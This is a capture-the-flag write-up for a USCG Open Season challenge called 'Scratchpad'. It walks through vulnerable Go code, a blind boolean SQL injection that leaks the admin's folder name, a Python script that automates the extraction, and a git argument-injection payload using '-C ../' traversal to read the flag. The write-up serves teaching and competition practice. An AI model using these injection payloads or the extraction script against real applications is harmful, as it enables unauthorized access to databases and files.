Skip to content
Go back

USCG Open Season 5: Scratchpad - SQL Injection + Git Command Injection

Published:  at  03:00 PM

By: mr_mph

image.png

As we can see from the entrypoint.sh script the flag is in scratchpad.txt of admin user.

sqlite3 "$DB_PATH" <<EOF
CREATE TABLE IF NOT EXISTS users (username TEXT PRIMARY KEY, password TEXT, folder TEXT, filename TEXT);
INSERT INTO users (username, password, folder, filename) VALUES ('admin', 'temppassword', '$FOLDER','scratchpad.txt');
EOF

First thing we find is that the revision endpoint runs a command using user input directly.

func handleRevision(w http.ResponseWriter, r *http.Request) {
	var req RevisionRequest

	claims, err := getClaims(r)
	if err != nil {
		http.Error(w, "Unauthorized", 401)
		return
	}
	folder := claims["folder"].(string)

	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "bad request", 400)
		return
	}

	args := strings.Split(req.Action, " ")
	args = append(args, fmt.Sprintf("%s:scratchpad.txt", req.Hash))
	cmd := exec.Command("git", args...)
	cmd.Dir = filepath.Join("data", folder)

	out, err := cmd.CombinedOutput()
	if err != nil {
		http.Error(w, string(out), 500)
		return
	}
	w.Write(out)
}

the git command is assembled with user input in the form of json like git <action> <hash>:scratchpad.txt. Because git can access files in other directories with directory traversal, it looks like we could access the admin directory once we know the path to it by doing this:

{
  "action": "-C ../<admin dir> show",
  "hash": "HEAD~1"
}

command becomes: git -C ../<admin directory> show HEAD~1:scratchpad.txt

We check HEAD~1 because that’s the commit before the last commit. In the admin’s setup, there are two commits and we want to refer to the first which has the flag:

cd "$FOLDER_PATH"
git init
echo "$FLAG" > scratchpad.txt
git add scratchpad.txt
git commit -m "Add flag" # 1st commit
echo "" > scratchpad.txt
git add scratchpad.txt
git commit -m "Blank file" # 2nd commit
cd -

Unfortunately for us, the folder name is a random UUID per user each time. So we can’t immediately exploit this

folder := uuid.NewString()

Looking around, we can find that there is sql injection in the username_check endpoint. This can help us find the randomly generated admin directory!

func usernameCheckHandler(w http.ResponseWriter, r *http.Request) {
	username := strings.ToLower(r.URL.Query().Get("username"))
	row := db.QueryRow(fmt.Sprintf("SELECT 1 FROM users WHERE username = '%s'", username))
	var dummy int
	err := row.Scan(&dummy)
	json.NewEncoder(w).Encode(map[string]bool{"good": err == sql.ErrNoRows})
}

User input is added to the query using a format string, which does not sanitize input!

image.png

After some testing, we find it is indeed leaking the database to us but with only boolean output.

image.png

To verify that we can extract data about the folder, we can first verify it’s length with this injection:

?username=admin'AND LENGTH((SELECT folder FROM users WHERE username='admin'))=36--

this query then becomes

SELECT 1 FROM users WHERE username = 'admin'AND LENGTH((SELECT folder FROM users WHERE username='admin'))=36--'

image.png

this confirms the folder length is 36 chars. Now we can automate finding each char of the folder uuid using queries like:

SELECT 1 FROM users WHERE username = 'admin'AND SUBSTR((SELECT folder FROM users WHERE username='admin'),1,1)='a'--'

image.png

we can guess and check for each char of the folder with our boolean SQLi until we extract the full thing. Here’s script I had chatgpt make to do this:

import requests
import string

base_url = "https://yyqcjqxy.web.ctf.uscybergames.com/api/username_check"
chars = string.ascii_lowercase + string.digits + "-"

def test_condition(condition):
    payload = f"admin'AND {condition}--"
    response = requests.get(f"{base_url}?username={payload}")
    return response.json()["good"] == False  # False means condition is true

# Extract folder
folder = ""
for pos in range(1, 37):  # UUID is 36 chars
    for char in chars:
        condition = f"SUBSTR((SELECT folder FROM users WHERE username='admin'),{pos},1)='{char}'"
        if test_condition(condition):
            folder += char
            print(f"Position {pos}: {char} -> Current folder: {folder}")
            break
    else:
        print(f"No character found for position {pos}")
        break

print(f"Admin folder: {folder}")

output:

image.png

cool, we got the folder.

Now, we can inject the git command with our directory traversal to read the contents from the admin’s first commit!

image.png

flag: SVUSCG{4ced96b9752e7f1ee258be28567e8032}


Share this post on:

Previous Writeup
USCG Open Season 5: Beg-o-Matic 3000 - Next.js CSRF with CSS Injection